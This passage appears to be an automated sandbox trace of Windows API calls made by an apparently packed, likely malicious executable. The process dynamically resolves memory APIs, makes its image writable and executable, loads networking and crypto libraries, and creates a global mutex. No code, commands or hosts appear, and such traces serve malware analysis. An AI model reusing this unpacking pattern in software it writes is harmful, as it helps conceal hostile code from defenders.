param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.275] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.275] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.276] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.276] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.277] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.277] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.277] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.277] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.277] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.277] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.902] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b20000 [0044.903] GetProcAddress (hModule=0x75b20000, lpProcName="GlobalAlloc") returned 0x75b3588e [0044.913] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75b20000 [0044.916] GetProcAddress (hModule=0x75b20000, lpProcName="GlobalAlloc") returned 0x75b3588e [0044.920] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b20000 [0044.922] GetProcAddress (hModule=0x75b20000, lpProcName="VirtualProtect") returned 0x75b3435f [0044.931] VirtualProtect (in: lpAddress=0x6cf4f0, dwSize=0x15cc3, flNewProtect=0x40, lpflOldProtect=0x18fd30 | out: lpflOldProtect=0x18fd30*=0x4) returned 1 [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="LoadLibraryA") returned 0x75b349d7 [0044.963] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b20000 [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="VirtualAlloc") returned 0x75b31856 [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="VirtualProtect") returned 0x75b3435f [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="VirtualFree") returned 0x75b3186e [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="GetVersionExA") returned 0x75b33519 [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="TerminateProcess") returned 0x75b4d802 [0044.963] GetProcAddress (hModule=0x75b20000, lpProcName="ExitProcess") returned 0x75b37a10 [0044.964] GetProcAddress (hModule=0x75b20000, lpProcName="SetErrorMode") returned 0x75b31b00 [0044.964] SetErrorMode (uMode=0x400) returned 0x0 [0044.964] SetErrorMode (uMode=0x0) returned 0x400 [0044.964] GetVersionExA (in: lpVersionInformation=0x18ee4c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x4, dwPlatformId=0xffffffff, szCSDVersion="s}Yw") | out: lpVersionInformation=0x18ee4c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0044.964] VirtualAlloc (lpAddress=0x0, dwSize=0x27600, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0044.966] VirtualProtect (in: lpAddress=0x400000, dwSize=0x2b000, flNewProtect=0x40, lpflOldProtect=0x18fed4 | out: lpflOldProtect=0x18fed4*=0x2) returned 1 [0045.002] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.003] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74ed0000 [0045.356] GetProcAddress (hModule=0x74ed0000, lpProcName="atexit") returned 0x74eec544 [0045.356] atexit (param_1=0x6cfe10) returned 0 [0045.357] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0045.843] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0045.843] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0045.843] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0045.843] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0045.844] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0045.844] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0045.844] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0045.844] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0045.844] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x754c0000 [0046.982] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74de0000 [0047.297] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x76020000 [0047.889] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0047.889] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0047.889] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0047.890] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0047.890] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0047.890] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0047.890] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x75cb0000 [0048.435] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74de0000 [0048.436] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.437] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.437] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.437] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74dc0000 [0048.603] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x76020000 [0048.603] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.603] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.603] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.603] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0048.603] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.603] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.603] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.604] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.604] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.604] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.604] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.604] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.604] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.604] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.605] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.605] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.605] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0048.605] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x75cb0000 [0048.605] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x75cb0000 [0048.605] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.605] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.606] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0048.606] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0048.606] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0048.606] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0048.606] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76150000 [0050.971] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0050.971] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0050.971] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74dc0000 [0050.971] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0050.972] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0050.972] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x74e70000 [0050.972] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ed0000 [0050.972] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d10000 [0050.972] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74dc0000 [0050.972] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x751d0000 [0050.973] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x754c0000 [0050.973] GetProcAddress (hModule=0x754c0000, lpProcName="CreateStreamOnHGlobal") returned 0x754e363b [0050.974] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DAE678E1-967E-6A19-D564-F7FCA6E7AEBC") returned 0xac [0050.975] RtlGetLastWin32Error () returned 0x0 [0050.976] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x1fb0000 [0051.007] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a1d) returned 0x202f590 [0051.008] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae7d0 [0051.008] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae7f0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae810 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae830 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae850 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae870 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae890 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae8b0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae8d0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae8f0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae910 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae930 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae950 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae970 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae990 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae9b0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae9d0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20ae9f0 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea28 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea48 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea68 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea88 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeaa8 [0051.009] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeac8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeae8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb08 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb28 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb48 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb68 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb88 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeba8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aebc8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aebe8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec08 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec28 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec48 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec68 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec88 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeca8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aecc8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aece8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed08 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed28 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed48 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed68 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed88 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeda8 [0051.010] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aedc8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aede8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee08 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee28 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee48 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee68 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee88 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeea8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeec8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeee8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef08 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef28 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef48 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef68 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef88 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aefa8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aefc8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aefe8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af008 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af028 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af048 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af068 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af088 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af0a8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af0c8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af0e8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af108 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af128 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af148 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af168 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af188 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af1a8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af1c8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af1e8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af628 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af648 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af668 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af688 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6a8 [0051.011] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6c8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6e8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af708 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af728 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af748 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af768 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af788 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7a8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7c8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7e8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af808 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af828 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af848 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x20afe10 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2d) returned 0x20aff10 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2) returned 0x20aff48 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2) returned 0x20aff58 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x20aff68 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x203f820 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x20affa0 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x20affb8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20af868 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x20affc8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203f870 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203f888 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203f8a0 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203f8b8 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x203f8d0 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x203f8e0 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203f908 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7) returned 0x203f920 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11) returned 0x20af888 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x203f930 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203f940 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203f958 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x203f970 [0051.012] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x203f980 [0051.013] RtlAllocateHeap (HeapHandle=0x1fb0000, 